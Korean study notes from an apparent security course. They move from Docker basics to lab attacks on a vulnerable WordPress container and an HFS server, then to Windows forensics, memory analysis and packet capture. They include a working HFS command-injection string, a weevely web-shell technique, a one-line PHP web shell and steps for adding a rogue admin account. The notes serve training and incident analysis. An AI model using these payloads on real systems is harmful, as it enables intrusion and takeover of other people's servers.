도커와 마이크로서비스 이해
모놀리식 아키텍처 (Monolithic architecture)
- 전통적인 아키텍처, 기존에 사용하던 서비스 방법
- 서비스가 하나의 애플리케이션으로 돌아가는 구조
- 기존의 개발 방식을 사용해 개발하여 간단히 배포
- 하나의 서비스 또는 애플리키에션이 하나의 거대한 아키텍처
- 다양한 기능을 동작하는 서비스를 서버에서 실행하여 서비스
- 단점1. 모놀리식 서비스 아키텍처를 스케일링하면!
- 기존의 애플리케이션을 그대로 복제하여 로드밸런싱
- 불필요한 서비스까지 모두 복제
- 단점2. 종속적인 라이브러리의 충돌
- 각각의 기능들은 서로 다른 기능을 제공하여 버전의 종속성을 필요한 경우가 존재
- 각 기능의 따른 라이브러리를 매업데이트마다 관리하기 매우 어려움
- 단점3. 조금만 수정해도 전체 빌드 및 배포 필요
- 소스코드 전체가 하나로써 동작하기 작은 수정만 있더라도 전체를 빌드하여 다시 배포해야 함
- 프로그램의 크기가 어느정도 커지면 한 번만 컴파일해서 전체 테스트를 돌려도 30분 내지 수 시간 소모
- 하루에 버그가 여러 개 순차적으로 발견되면? → 지옥
마이크로서비스 아키텍처
- 모놀리식 아키텍처의 대안으로 반대되는 개념
- 애플리케이션의 각각의 기능을 분리하여 개발 및 관리
- 마이크로서비스 장점
--> 서비스 단위 빠른 개발: 개발자가 특정 비즈니스 로직에 대해서만 집중하여 개발 가능
--> 배포 용이: 개별 서비스 단위로 개발, 패키징, 빌드, 테스트, 배포로 각 서비스마다 유연한 스케줄
--> 서비스 단위 고효율 저비용 Scale-Out 구조: 서비스 단위로 스케일링이 가능하여 불필요한 서비스는 줄이고 더
많은 자원이 필요한 서비스는 확장가능
--> 분산 시스템 환경에서 Transaction 보장, 테스트, 배포, 관리 복잡
마이크로서비스 아키텍처
- 모놀리식 라이프 사이클과 마이크로 서비스 라이프 사이클 비교
- 업무는 효율적인데 비용이 많이 들어가게 됨
- 비용 해결을 위해 가상환경을 이용해보려고 하기 시작
- 도커와 컨테이너 사용하기 시작
컨테이너
- 컨테이너는 가상머신을 사용해 각 마이크로 서비스를 격리(isolate)하는 기술
- 컨테이너는 가상머신처럼 하드웨어를 전부 구현하지 않기 때문에 매우 빠른 실행 가능
- 프로세스의 문제가 발생할 경우 컨테이너 전체를 조정해야 하기 때문에 컨테이너에 하나의 프로세스를 실행하도록 하는 것이 좋음
- 브라우저와 유사함
- Virtualized Development
- Hypervisior가 가상환경 기술임
- Hardware가 잘 받춰줄 수 있어야 함
- 스냅샷만 잘 찍어놔도 껐다 키기 별 문제 없음
- Container Development
- Container Runtime (Container Engine)
--> 윈도우즈 형식은 거의 없음
--> 리눅스 환경 위에 올라감
--> runtime : 프로세스 관리 시 많이 사용
- 프로세스 단위로 돌아감 : 가볍지만 쉽게 죽을 수 있고 죽었따 살아나면 불안정함
- 유지 개념이 아닌 버리는 개념
--> 쓸모 없으면 버리고 기존의 이미지 빌드를 프로세스로 사용하는 것
- 도커 컨테이너 언제 사용함?
- 악성 코드 분석이나 통합 로그 분석 시 많이 사용
- 악성 코드 환경 전부 이미지화
--> 악성 코드 넣어서 원하는 정보 분석 ,결과들만 하나의 저장소에 보냄
--> 이미지 필요없으니까 삭제 , 반복
- 람다
- 서버리스 환경 개념이 들어감 : 컨테이너 안에서 동작, API 통해 람다 함수 사용
쿠버네티스 환경
- 도커, 컨테이너 늘어나서 관리 힘들었음
- 효율적인 관리 하려고 찾은 도구
KALI에서 만들기
Kali에 도커, 컨테이너 만들기
- 도커 컨테이너 엔진이 만들어져 있어야 함
- Runtime에 역할을 해 주는 것이 엔진
- 도커 설치

- docker0은 eth0과 연결되어 있는 네트워크 영역임
- 서로는 통신 가능하다는 것 (브릿지로 연결되어 있음)
- 외부 네트워크 대역 (도커 컨테이너 입장에서는 윈도우즈도 외부임, NAT 환경) 연결 안돼있음
- 바깥과 연결하기 위해 port forwarding 필요함
- 도커에서 이미지 받기

- 공식적 이미지는 안전한 것
- 파랑색은 인증된 업체에서 제공하는 것
- nginx는 웹서버의 이미지 : 리눅스 환경 위에 웹서버 설치되어 있음을 말하는 게 nginx임
- linux의 이미지도 여러가지임 (ubuntu, demian .. 등)
- 이렇게 서치해서 있는 지 확인 후 다운 받으면 됨
- 항목 클릭해서 tag보면 원한느 버전들을 다운받을 수 있는 코드들이 있음

- 이미지 : 필요한 소스들을 쌓아둔 것
- 컨테이너 : 운영하기 위해 이미지를 컨테이너화 시키는 것
- 도커 : 운영하기 위해 가져가고 서비스로 올리는 것
- 쿠버네티스 : 여러가지 이미지들을 갖고 바다를 가는 것(운영에 목적을 두고 있는 것)
- nginx 실행

- 두 개 만들어진 것을 알 수 있음
지금까지 사용한 용어
- registry : docker hub
- AWS에서는 ECR 있음
--> AWS에서 인증받은 사용자만 ECR에서 가져올 수 있는 것
- pull : 이미지 다운
- create : container로 만드는 명령어
- start : 컨테이너를 실행하는 것
- run : pull + create + start
- 나중에는 exec (컨테이너 안에 들어가는 것)까지 기능
- commit : 만든 컨테이너 이미지로 저장
- push : 저장한 것 저장소에 올리기
프로세스 동작 및 실행시 특징보기

- layers : 기존 이미지에 추가적인 파일이 필요할 때 다시 다운로드 받는 방법이 아닌 해당 파일을 추가하기 위한 개념
--> / var/lib/docker/overlay에 다 관리가 되는 중임
--> 여기 접근할 때는 su - 권한 사용하기
도커 이미지 및 컨테이너 내부
- 로그파일 확인 : 도커 자체에서 API 형태로 진행할 것인데 명령어들이 다 있어서 logs라는 명령어가 있는데 컨테이너 로그 파일들을 뿌려주는 것



- 서버 입장에서는 client도 원격임
- 명령어들이 전부 client
- docker는 go language로 되어 있음
- 요즘 고랭이 올라가는 추세임
- 모니터링 시에는 도커 info로 상태 가져와서 활용하는 편

- start, kill, die
- stop하면 프로세스들을 죽이고 네트워크 연결 끊어버림
들어가서 명령어 수정하기

아무리봐도 졸아서 오타가 너무 많이 났지? 그래서 다시 했는데 그건 캡쳐를 안해놨네...
bWAPP 테스트 환경 구축

- 근데 현재는 권한 때문에 파일 업로드 같은 것이 안됨
- 그래서 권한을 업데이트 해보자

- 잘 되네
새로운 이미지로 만들기


- 의심되는 행동볼 수 있기에 중요함
아파치 설치하기
직접 들어가서 바꾸지 않는 컨테이너로 카피
볼륨 만들기
컨테이너 날아갔을 때
네트워크 만들기

한 번에 삭제하기

컨테이너 활용 로드밸런싱
마운티
- 마운티는 볼륨을 만드는 것이 아닌 디렉터리를 컨테이너에 지정해주는 것
- 디렉터리 /home/kali/web01 --> mount <-- docker container 지정 디렉터리
Web01, Web02, Web03 컨테이너 실행
- html 관리하는 페이지에 볼륨 잡아주기
볼륨을 이용해서 index.html을 생성
- 로드 밸런싱 환경을 만들기 위해 볼륨 두 개 더 만들기
칼리리눅스(호스트)에 nginx 서버를 설치 (로드밸런싱 역할)
- 칼리 리눅스 (웹서버 -nginx LB 역할, WAF) -> web01, web02, web03
- 도커 컨테이너 환경의 로드밸런싱
- 칼리리눅스에 nginx 서버 설치
- 인덱스 내용 다 바꾸기 (밑에는 안쓸거임)
nginx conf 수정해서 로드밸런싱 구축
- LB 기능만 사용할 거라 많이 수정해야 함
- 1이 자주 나옴
복습 퀴즈
1. 네트워크를 3개 대역를 만든다.
2. 볼륨을 3개를 만든다.
3. 3개의 웹서버에 볼륨과 네트워크를 연결한다.
4. 로드밸런싱을 구축하여, 웹 서버 3개에 분배한다.
도커 파일 및 자동화
도커파일 (Dockerfile)
- 지금까지 한 것을 자동화하는 것
- 도커 허브 : 이미 이미지가 완선된 것을 제공 (docker pull)
- 지금까진 nginx 파일 다운 -> /usr/share/www/ -> index.html 했었음
- 아니면 우분투 -> apache2 설치 -> /var/www/html -> index.html...
--> 지속적으로 새로운 버전이 나오거나 새로 바뀌게 됨
- 이거를 바뀌고 업뎃할 때마다 다시 만들기 힘듦
- 그래서 여기서 만든 과정하나로 묶어주는 것
- 도커 허브에서 수동으로 도커 컨테이너를 다운로드 받아서→새로운 컨테이너 이미지로 생성을 하는 것
- 자동 스크립트로 이미지를 생성하는 방법(프로세스)

옵션
|
설명
|
FROM
|
베이스 이미지를 지정하여 도커 이미지를 빌드할 때 사용합니다. 주로 운영체제나 런타임 환경을 설정하는데 사용됩니다.
|
MAINTAINER(선택)
|
이미지를 관리하는 개인 또는 조직의 정보를 설정합니다. (deprecated: 사용은 가능하지만, 대신 LABEL을 사용하는 것이 권장됩니다.)
|
LABEL(선택)
|
이미지에 메타데이터를 추가합니다. 주로 버전, 제작자, 라이선스 등의 정보를 포함시킵니다.
|
RUN
|
도커 이미지 빌드 중에 실행할 명령어를 지정합니다. 주로 패키지 설치, 의존성 관리, 환경 설정 등을 처리하는데 사용됩니다.
|
CMD
|
컨테이너가 시작되었을 때 실행할 명령어를 지정합니다. 도커 파일에서 한 번만 사용할 수 있으며, 마지막으로 지정된 CMD가 적용됩니다.
|
EXPOSE
|
컨테이너가 외부에 노출할 포트를 지정합니다. 도커 실행 시 -p 옵션으로 호스트와 연결할 포트를 지정할 수 있습니다.
|
ENV
|
환경 변수를 설정합니다. 애플리케이션 실행에 필요한 환경 변수를 미리 정의하여 도커 이미지에 포함시킬 수 있습니다.
|
ADD
|
로컬 파일이나 디렉토리를 도커 이미지에 추가합니다. 자동으로 압축 파일을 해제하고, URL로부터 파일을 다운로드하는 기능도 제공합니다.
|
COPY
|
로컬 파일이나 디렉토리를 도커 이미지에 복사합니다. ADD와 달리 자동 압축 해제나 다운로드 기능은 제공하지 않습니다.
|
ENTRYPOINT
|
컨테이너가 시작되었을 때 실행할 명령어를 지정합니다. CMD와 마찬가지로 도커 파일에서 한 번만 사용할 수 있으며, ENTRYPOINT와 CMD가 모두 존재할 경우 CMD는 ENTRYPOINT의 인자로 사용됩니다.
|
[복습 퀴즈] nginx 서버 도커 파일로 구현
- ubuntu 최신버전
- nginx 설치
- index.html 페이지 수정
- 80포트 오픈
- 데몬 실행 : nginx -g deamon off (daemon off 는 nginx 서버를 foreground에서 실행)

도커파일 응용


- 최종적인 이미지를 만들기 위한 도커 파일
번외 도커파일 응용) RUN wget으로 github 소스코드 다운받아서 사용 가능
도커 컴포즈 자동화
도커 컴포즈(docker-compose)
- 다중 컨테이너 애플리케이션 관리할 수 있는 실행도구
- 프로젝트 단위로 만들어짐
- yaml 파일에 애플리케이션 정의
- 이게 확장돼서 쿠버네티스로 발전
도커 컴포즈를 활용한 웹 서비스 구축
- 다중 컨테이너 애플리케이션을 관리할 수 있는 실행 도구 (프로젝트)
- 웹 서버 컨테이너 2개를 만들어서 연결성
- 데이터베이스 컨테이너 1개를 만들어 웹서버와 연결
워드프레스 사이트 구축. Compose 활용
- 지금까지는 DB 구축이었음
- wordpress는 웹을 구성하는 것
- wordpress라는 이미지가 배포가 되고 있기때문에 여기에 환경설정을 잘 맞춰주면 되는 것
- depends_on : DB에서 뭔가 만들어지는 것이 보여야 WEB에서 접속하는 것이 가능해지는 것이다 근데 DB 전부 구축 전 wordpress가 들어오면 오류가 날 것이기 때문에 이를 방지하기 위한 것이 depends_on인 것
- 다중 컨테이너이므로 중요한 것이 먼저 만들어지는 것을 확인해야 함
- 근데 DB연결 안됐다고 떴길래 확인해보니 아까 위에서 wp-data말고 db-data로 했었음 그래서 데이터베이스 저장 장소인 db-data를 한번 삭제하고 진행하고, 다시 도커 컴포즈를 실행한다


일케 만들수가 있따
- 문제는 취약점이 많음
- 그치만 테마 같은 것을 주제에 맞게 다운로드해서 사용이 가능한 것은 좋은 점!
도커 파일과 도커 컴포즈 연결하기
- 이전에 칼리리눅스-nginx conf가 LB 역할을 했었음
- 이제 [도커 컨테이너 nginx conf] ——> 1, 2, 3번 컨테이너 서버 로드밸런싱!!! (도커파일로 생성!!!)
1. nginx 도커 이미지를 다운로드하고, 로드밸런서가 적용된 conf 로 수정을 해서 새로운 이미지 만들기
2. 1, 2, 3 기본 nginx 이미지를 다운로드 받아서, index.html 페이지들을 수정해서 새로운 이미지 만들기
3. 도커 컴포즈에서 4개의 생성된 이미지들을 자동으로 배포하고 관리하기


LB_WEB에서 바라본 TREE
도커 컨테이너 취약점 분석
취약한 도커 설치

- 고래가 귀엽다
- Easy Mode로 들어왔다
- VulnHub : 취약점 시나리오들을 올려둔 곳이다
- 언제 없어질 지 모름
- 지금 실행한 것이 여기서 다운 받은 것
포트 스캔
- 8000포트 접속해보기
- wordpress로 구축되어 있다고 쓰여 있음

- 2375 포트 : 원격 API
- 원격에서 도커 제어 가능
- 매우 취약
NSE를 통한 취약점 분석

- 바깥에서 알면 위험한 정보들
- 배너그래핑 : 정보 수집한다는 얘기
디렉토리 점검

- xmlrpc : xml 형태로 정보 요청하는 서버가 열려있음
- remote process call 접근 됨
- 옛날 버전같은 경우에는 외부에서 사용자 정보나 원격 코드 실행되는 사례 나옴
- exploit-db에도 검색해보며 wordpress core 취약점 발견 가능
--> core에 문제 발생하면 완전 큰 문제임 사이트 전체 바꿔야 됨
Nikto 웹 스캔

API Archetectural Styles Comparison
- 포멧 차이 살펴보기
- 제일 많이 사용되는 것이 REST와 GraphQL
- ELK에서 REST 사용했을껄? (POST, PUT ..등)
- GraphQL은 모바일에서 많이 사용됨
wordpress 전용 점검 도구 : wpscan

- feed 정보나 readme 파일 없애야 함 (버전표시 안하기 위해)
- 테마에 설치된 경로도 항상 wp-content
- 플러그인은 설치되어 있지 않다고 나와있는데 wpscan도 미탐 있을 수 있음
- 옵션을 줘보기 -e 줘서 수집해보기

- 들어가서 확인해보니 bob 정보 나옴

- json 파일 요청 시 응답하는 형태
--> page=1부터 하나식 넣어보면 해당 사용자 정보 노출
워드프레스 사이트 취약점
- 플러그인 취약점 : 외부에서 접근하는 사례 많음
- 사용자들이 사용하는 플러그인과 관리자들이 사용하는 플러그인들이 있음
- 사용자들이 사용할 수있는 것은 외부에서 다른 사람들도 사용 가능하다는 것
--> RCE, LFI , ..등이 많이 발생함
- 테마 취약점 : 많이 보진 못함
- 무작위 대입 공격 (관리자 페이지 대상으로)
- 방어해야하 함 이걸 방어하는 플러그인도 있음
- 자주 사용하는 딕셔너리 파일(칼리 리눅스 내에서) 다운받기
- https://github.com/danielmiessler/SecLists
--> Fuzzing : 특정한 문자열 넣는 것 , 오류 -> 취약점

- 이걸로 접속하면

시스템 침투 과정
- 플러그인 취약점 : 관리자쪽에 설치되어 있는 것 공략
- 파일 업로드 취약점
- 플러그인보면 두 개밖에 설치 안되어 있음
- 파일 업로드 할 수 있는 웹쉘용 플러그인 올릴 수 있음
- 기존 플러그인에 악성코드 삽입 (RCE..)
- 악성코드 만들기
- weevely : 세션 연결 기반의 악성코드
- 웹쉘 업로드 <---세션 연결(공격자)
- 일종의 Reverse
- shell 권한 획득과 똑같은 원리
- php 내용 복사 > 플러그인 edit > hello.php에 삽입
- 잘 마감하고 잘 시작하고 그 사이에 넣는 것

- update File
- hello.php 호출하면 공격자는 세션 연결 가능해짐
- 침투된 것
- 앞에 해시값 있는 것이 도커의 특징
- 안되는 명령어 많음

- 이렇게 프로세스 1번에 cgroup안에 도커 정보들이 나오므로 여기는 도커 컨테이너 안인 것
- cgroup? 우리가 컨테이너마다 격리해서 관리하는데 이 컨테이너들을 격리해주고 관리해주는 역할을 함
- 다른 도커 애들도 동작하고 있을 수 있기 때문에 다른 도커에는 뭐가 있는 지 공략해봐야 함
- DB가 어디에 있고 어떻게 연결되어 있을까 생각하기
sudo 권한 없을 때 프로그램 설치하기
- 이미 바이너리 형식으로 되어 있는 프로그램을 가져와야 함
- 버전 정보가 일치해야 동작함
- https://github.com/andrew-d/static-binaries/tree/master/binaries/linux/x86_64
- nmap raw 다운로드 하기
- ls -al 해서 살펴보면 tmp 하는 공간은 drwxrwxrwxrt로 되어 있어서 다 할 수 있는 것을 볼 수 있음
- 악성코드는 사용자 tmp 공간을 많이 사용하게 됨
- 우리는 지금 직접적으로 DB에 들어갈 수는 없지만 wordpress 안에서 연결점을 찾아 들어갈 수 있도록 하는 것은 할 수 있음
- 그렇다면 DB Connection 정보는 어디에 있을까?
- 터널링 공격 (유사 : 포트포워딩)할 수 있음
- victim ---SSH 서버---공격자
- 이걸 편하게 하기 위해 metasploit의 포트 포워딩 기능 사용할 예정
- metasploit에 다른 워드프레스 공격 기능들도 사용해보자
- Docker SSH도 어케할 수 있을 지 보자
Metasploit을 이용한 워드프레스 공격 및 포트 포워딩
워드프레스 공격

- parameter들이 어디에 어떻게 들어가는 지

- 응답코드는?

- 쉘 공격
Port Forwarding
- 공격자 ---victim(웹서버 X)---근접네트워크(IP:PORT)
- 우리는 지금 172.18.0.4에 들어왔는데 다른 곳을 가고 싶은거야!
- 근접 네트워크 들어가서 다시 공격자에게 전달해주는 방식

- 그랬더니 웹 ssh서비스로 운영할 수 있는 docker였음!
- 그래서 다이렉트로 db 접속이 된 것
--> 이걸 이용해 db로 연결

- 그니까 우린 분명 3번으로 포워딩할라했는데 알고보니까 걔는 4번으로 포워딩해주는 애였다!
- 이말일걸?ㅎ 맞을걸 진짜
2375 port opened
- port:2375해서 criminal IP에서 검색해보면 엄청 많이 열려있음
- 도커 서버에 관한 정보까지 다 나와있음
--> 매우 위험한 것, API 서버가 열려 있는 것
- 이 서버가 열려있다는 말음 밖에 서버를 열어둔 것과 같음
- 이 서버로 명령어를 수행할 수 있음
- 그냥 바로 명령어로 제어가능함
- stop 명령하면 진짜 컨테이너가 멈춤
- 근데 이게 지금 실제로 열려 있는 것들이 많다는 얘기
--> 도커 설정 시 막아 줘야 함
윈도우 애플리케이션 취약점
HFS
- 윈도우 가상머신에 hfs2.3b.zip , SysinternalsSuite_old.zip 복붙 후 압축풀기

- kali에서 firefox로 들어가보면 웹 확인 가능
- 파일 올리면 바로 올라가짐

- 여러가지 취약점이 있을 것으로 보임
- 이번에 살펴볼 취약점은 RCE 취약점
- RCE : Remote Command Execute
- 실제로 WAS나 web서버 쪽에서 많이 나옴
- Apache Structures, JBoss, Jenkis, log4j 취약점 등
- hfs가 실제로 파일 공융 서버인데 전세계적으로는 악성 코드 배포용으로 잘 쓰임
- 그래서 역으로 악성코드 없애는 사람들도 많았음
- 리버싱으로 우리가 입력한 값들이 어떻게 진행되는 가에 관한 분석 진행함
- https://www.exploit-db.com/exploits/34668
- %00 : null Byte 공격
- http://localhost:80/?search=%00{.exec|cmd.}
--> search에 %00{.exec|cmd.} 하면 kali창에는 변화 없는데 window창에 cmd 5개 뜸

- %00{.exec|notepad.} : 메모장 5개 뜸
- cmd해서 뒤에 명령어 입력하면 여러가지를 할 수 있겠쬬??
윈도우 애플리케이션 취약점 사례
HFS Metasploit로 공격하기

- 사진은 그냥 하트 동그랗게 잘 만든 거 신기해서..
*참고) 접속 안될 때는 방화벽을 확인해보고 빨갛게 되어 있으면 지우고 다시 실행할 때 방확벽 설정 다시하기
- windodw에서는 어떻게 되어 있을까?

- 파일이 생기고 뭐가 써져 있음
- wireshark에서는?

- 일단 search 유형이 두 개 보임

- 그 중 위 search를 follow 해보면 위쪽에 공격 패턴을 볼 수 있음
- 공격 패턴 decoding

- 윈도우에 떠 있는 것과 같음
- 지금까지 한 것은 공격자가 윈도우 HFS에 공격을 한 것임
- 어제는 exec cmd를 했었는데 방금은 save 한 것
--> TEMP 파일 생긴 것에 SAVE한 것
- 뭘 저장한 거냐면 : Set+x부터 } 이거 전까지를 저장한 것임
- vbs : visual basic script --> 나중에 실무에서 많이 씀
- 그래서 일단 vbs 만든 것까지 실행한 것임
- wireshark에서 밑에 있는 search를 follow해 봄
- 공격 패턴 디코딩 해보면?

- wscript 실행하는 것
--> B+ NOLOGO : 백그라운드로 실행해서 로그 발생하지 않게 하는 것임
- (wireshark) 이 밑에 http 요청 4번 이루어짐
- 이중에서 뭔가 성공함
--> 그러면서 마지막에 OK가 뜨게 되는 것
- OK follow 해보면

- base64 형태로 인코딩된 것을 볼 수 있음
--> 밑에는 실행파일들
--> 젤 아래에 힌트 있음

- 폴더 임시로 만들어서 저장하고 exe 파일 생성
- exe 파일은 그 위에 있는 난수들로 만드는 것
- wscript.shell로 파일을 실행하게 되는 것
--> cmd로 실행한다는 말
- wscript.shell은 웹쉘에서도 많이 등장함
- 지금까지 한 것을 정리해보면, 공격자가 HFS에 RCE 명령어를 수행한 것이고, 서버에 VBS 파일을 생성함
- wscript 이용해서 vbs를 실행하고 vbs는 악성코드 URL로 유도
- 악성코드 URL에서 exe 파일이 다운로드 되고 실행
--> 사용자의 관여 없이 제어할 수 있기 때문에 위험한 것!
*윈도우 포렌식 : sysinternals, nirsoft 요 두개는 거의 필수임
Sysinternals 활용하기
- process explorer 실행

- service에 등록되어 있는 것들은 자동으로 시작되게 하거나 재작동하는 등 중요한 프로그램들이고 그것을 관리하고 있는 것
- lsass.exe : 로컬 로그인 인증과 같은 것을 담당하고 있는 것
- 윈도우 ID/PW 입력 -> 인증, 권한 부여
--> 이거는 못 바꾸는데 어떤 공간 안에 ID, PW가 어딘가에 평문으로 되어 있음
- explorer 아래 있는 파일들 : 전체 사용자의 프로그램들을 관리하는 파일
- 뭔가 이상이 있으면 아이콘이 사라졌다 나타나는 현상들이 있을 때가 있음
--> hfs 안에 wscript들어가 있는 것 보임

- 그리고 그 안에 cmd가 있는 것 보이지용?
- metasploit 에서 shell 명령어 입력하면 cmd하나 더 생김

- 악성코드가 설치된 경로 확인 가능

- 이제 리버싱하는 것이 사진 속 exe를 분석해내는 것임
- 더 중요한 것은 어떤식으로 배포가 되었는가 임

- 4444포트로 연결되어 있는 것을 볼 수 있음
- tcpview : 좀 더 실시간으로 많은 정보를 한 번에 볼 수 있음

- 그래서 일단 이상이 있다고 했을 때 가장 먼저하는 것이 process explorer와 tcpviewer를 먼저 열어서 확인 함
- Process Moniter : 정보 너무 많음

- 장점은 프로세스를 놓칠 일이 없음
--> 계속 띄워둘 순 없긴 함
- 이상 증상 있을 때 도움을 받기위해 보는 것
- filter를 이용해 원하는 정보 필터링 가능

- hfs를 포함하고 있는 프로세스 네임만 보여줌
- path를 기준으로 많이 봄

- API : Operation으로 되어 있는 것들 -> create file : 파일을 읽는 것
- Tool > Process Tree : process를 트리 구조로 보여 줌, command가 한 눈에 보임

- 더 자세히 보고 싶은게 있다면 include subtree하면 뒤쪽에 관련된 것들이 쭉 나옴

- Local Security Policy > Local Policy > Audit Policy
- 4개 success, failure 설정

- 윈도우 이벤트 뷰어 > windows logs > security
- 계정 정보 바뀐 것 확인 가능
- metasploit에 windows logs 지우는 명령어도 있음
Sysmon 서비스
- cmd 관리자모드로 들어가기
- event viewer에서 확인

HFS 공격 다시 해보기
- 어떤 프로세스 쌓이는 지 확인
- Sysmon 확인해서 네트워크 정보랑 dllhost 뜨는 것 확인

- dll injection : 주입해서 pc 제어 > 명령어 쓸 때마다 dll host가 뜸
- rdp 원격 접속하기
- 근데 지금 계정 정보 모름
- kali에서 shell로 들어가기
- UAC (User Access Control) Bypass : 권한들에 대해 특정 파일에 대해 수정할 수 있는 부분을 찾아 Bypass하는 것
- 관리자 권한으로 세션 다시 맺기 가능
--> 자주 나오는 취약점은 아님
- 일반적인 hacker 사용자로는 RDP 접속이 안됨
- 관리자 권한으로 되어 있으면 RDP 접속 가능
--> hacker를 관리자 그룹으로 넣을 것

- other user로 가서 hacker/hacker 사용

접속 성공
- Active Directory (AD 환경) : 어디서든 본인 환경으로 이용할 수 있으나 단점은 침투될 경우 모든 PC의 정보 획득 가능
- 업데이트 정책(악성코드 배포)와 같은 것들도 넣어둘 수 있음
- APT 공격
공격 로그 확인하기
- 공격 대상이었던 윈도우에서 IEUser로 로그인하기
- Event Viewer 확인

- 권한 획득했던 시점 볼 수 있음

*지금 사진에서는 시간 정보가 다른데 나중에 프로젝트 할 때는 맞춰두고 시작하기
- TerminalServices-LocalSessionManager > Operational > hacker 확인

- Sysmon > Operational >Ctrl+F로 .vbs 찾아서 근처 보면 공격 볼 수 있음
- 사실 이걸로 보는 건 불편함
- 지금은 sysmon 정보 그냥 봐보는 것
- 나중에 ELK 같은걸로 대시보드도 잘 만들고 해서 보면 됨
- 그나마 볼만한 것은 sysmon tools
- 여기서 32비트 짜리 다운 받아서 씀
- Sysmon View 툴 열기
- 아까 봤던 로그들 save해주기 (xml)로
- Sysmon View로 save 파일 불러오기
- 의심되는 로그 정보 불러서 보기

- 클릭해서 디테일 확인 가능

- net 봤더니 hacker 만든 것도 찾음

- 참고로 우리가 공격해서 이렇게 빨리 찾는 거지 남들이 한 거는 빨리 못 찾음
메모리 분석
메모리 포렌식 분석
- 물리적인 메모리 덤프 (RAM-4GB)
- 요즘은 16GB임
- 볼라틸리티 같은 오픈 도구로 할 수 있는 한계가 다가오기 시작함
- 최근에 클라우드 서비스가 경량화되며 다시 메모리 포렌식 부분들이 올라오고 있음
- 휘발성 정보 : 네트워크 연결정보, 프로세스 실행정보
- 비휘발성 정보 : 레지스트리 정보, 파일 정보
- 메모리 덤프 : 꺼지기 전에 메모리를 잡아두는 것
- Dumpit 다운받깅

폰 노이만식 구조
- 주기억장치의 역할
- 어떤 프로그램 실행하면 메모리 공간에 올라가게 됨
- 프로그램들에서 파일을 저장한다면 디스크 쪽으로 가게 됨
물리 메모리에 존재하는 모든 흔적 확인 가능
- 프로세스 정보
- 네트워크 연결 정보
- 패스워드, 캐시정보, 클립보드 정보 등
- 악성코드 파일 정보
- 윈도우 레지스터리 정보
- 하드웨어 설정 정보
메모리 덤프 방식
- 하드웨어 방식과 소프트웨어 방식이 있음
- 보통 소프트웨어 방식이라고 생각하면 됨
- IoT 관련한 것들은 하드웨어 안에 펌웨어 같은 것들 덤프함
악성코드가 난독화/ 패킹되어 있는 경우가 있음
- 일부러 감염 시켜서 메모리 덤프하면 악성코드들이 해제가 되어 올라옴
- 그래서 메모리 덤프 후 유용한 정보 사용
- evtx 파일도 복원이 가능한 파일
- 그래서 악성 코드 관점에서 메모리 포랜식을 진행함
메모리 분석 퀴즈
- 배웠던 것을 바탕으로 주어진 메모리 분석해보기


- explorer.exe → httpd (아파치 데몬) > cmd.exe 수상함

- powershell이 실행되고 안에 추가적인 명령어들이 수행되고 있는 것이 수상
- minikatz : 계정정보 ID/PW 덤프 도구
- pstree 위 쪽에 보면 Sysmon 돌아가고 있는 것 확인 가능해서 그나마 다행임

- 192.168.130.134:4444 의심스러움
- httpd.exe가 80포트로 동작중
- 어떤 프로그램 실행중인 지 확인
--> 2018-11-21 11:31:04 UTC+0000 \??\C:\xampp\apache\bin\httpd.exe
--> xampp: MariaDB, PHP, Perl(Apache)가 포함되어 있는 프로그램
- Sysmon 로그 파일
--> apache 중심으로 검색 : GitStack
--> access.log 검색 : xampp\apache\logs\access.log
--> htdoc \wordpress 확인 가능
- 참고) var\www → 리눅스 == 윈도우에선 htdoc
- dumpfile 확장자 evtx로 변경해서 window 7에서 열어보기

- 공격코드 훑어볼 수 있음


- 아까 filescan에서 보면 exploit.php있음
- 만들어진 것을 열어보면 > "<?php system($_POST['a']); ?>"
--> 한 줄 웹쉘임
- cmd.exe → dir, ipconfig, whoami 등 원격으로 명령어 수행 (httpd로 들어옴)
- 복잡한 것 사용해봐야 IDS에서 걸림
- 이런 걸 RCE 취약점이라고 했음 (원격에서 제어할 수 있는 취약점)

- powershell을 이용해서 공격하는 것 확인 가능

- 4444포트와 연결된 것 확인 가능
- 메모리 포렌식으로 하나하나 다 분석하기느 ㄴ어려움
- 참고용일 뿐이고 실질적으로 참고해야하는 것은 Sysmon정보임
- Sysmon이 운영이 안되고 있다면 찾아내기 더욱 힘듦
- 포렌식 준비도 : 침해사고에 준비하는 것
- 침해사고 분석은 장애 발생 시 진행하는 것
Gitstack
- 저장소 만들기 (test)
- 사용자 만들기 (test/test)
- 저장소에 adduser하기 (test)
- 브라우저로 들어가 보기

- Kali에서 접근해보기
- 공격자 (exploid 에서 Git Stack 검색해서 다운)
- 웹페이지 쪽에서 인증처리 미흡 취약점
- 사용자들 페이지 접근 가능
- API : 저장소 생성 + 사용자 만들고 + 웹을 통해 exploit.php
- 이후
- 3개 하나씩 해보기
- access log는 어떻게 남을까?
- 덤프가 안떠져서 공격 당한 쪽에서 직접 봐야 함
- C:\Gitstack\apache\logs\apache 들어가서 봐보기
- whoami 같은 로그들은 남지 않음
- POST, DELETE 같은 것이 남아있는데 공격이라고 할 수 있을 만한 애가 많이 없음
--> 침해사고 시 웹로그 하나로 판단하기 어려움
- 그래서 로그 분석은 여러 파일을 봐야하는 것
- 대시 보드 잘 만들어서 여러가지 분석해보는 것이 중요
패킷분석 및 로그분석
패킷분석
- 크게는 두 가지 관점으로 보게 될 것임
- 외부에서 웹해킹 / 시스템 해킹 된 것 패킷 분석
- IDS에 쌓이게 됨
- Snort는 Snort Rule에 의해 감지된 것만 보여주게 됨
-별도로 패킷이 저장되는 것이 pcap
- https://github.com/Security-Onion-Solutions/securityonion?tab=readme-ov-file
--> 환경 구축이 되어 있는 것
--> 실무에서 사용하는 UI 경험 가능
- 내부에서 외부로 접속했을 때 악의적인 사이트 접속여부 (악성코드)
- A가 악성코드에 감염이 되었어 -> 외부 접속 패킷 분석
- https://www.boannews.com/media/view.asp?idx=129583&kind=1&search=title&find=%BC%BA%BD%C9%B4%E7
--> 성심당몰 해킹 됐음
- 분석도구
- 와이어샤크
- 네트워크마이너 : 근데 이거 사용하면 와이어샤크 잘 안쓰게 됨
- 네트워크 마이너 다운로드

* https://www.malware-traffic-analysis.net/
-> 악성코드 트래픽 공유해주는 곳
--> 압축파일 비밀번호 : infected / malware 둘 중 하나임
Sample File 분석
- pcap_sample 파일 다운로드
- wireshark로 ftp.pcap (21번포트 - 인증관련) 파일 열기

- Statistics가 중요
- Capture File Properties

- Resolved Addresses : IP 무엇인 지 알려주는데 지금은 가상 IP라 안중요함
- Protocol Hierarchy Statistics : 어떤 프로토콜을 포함하고 있는 지

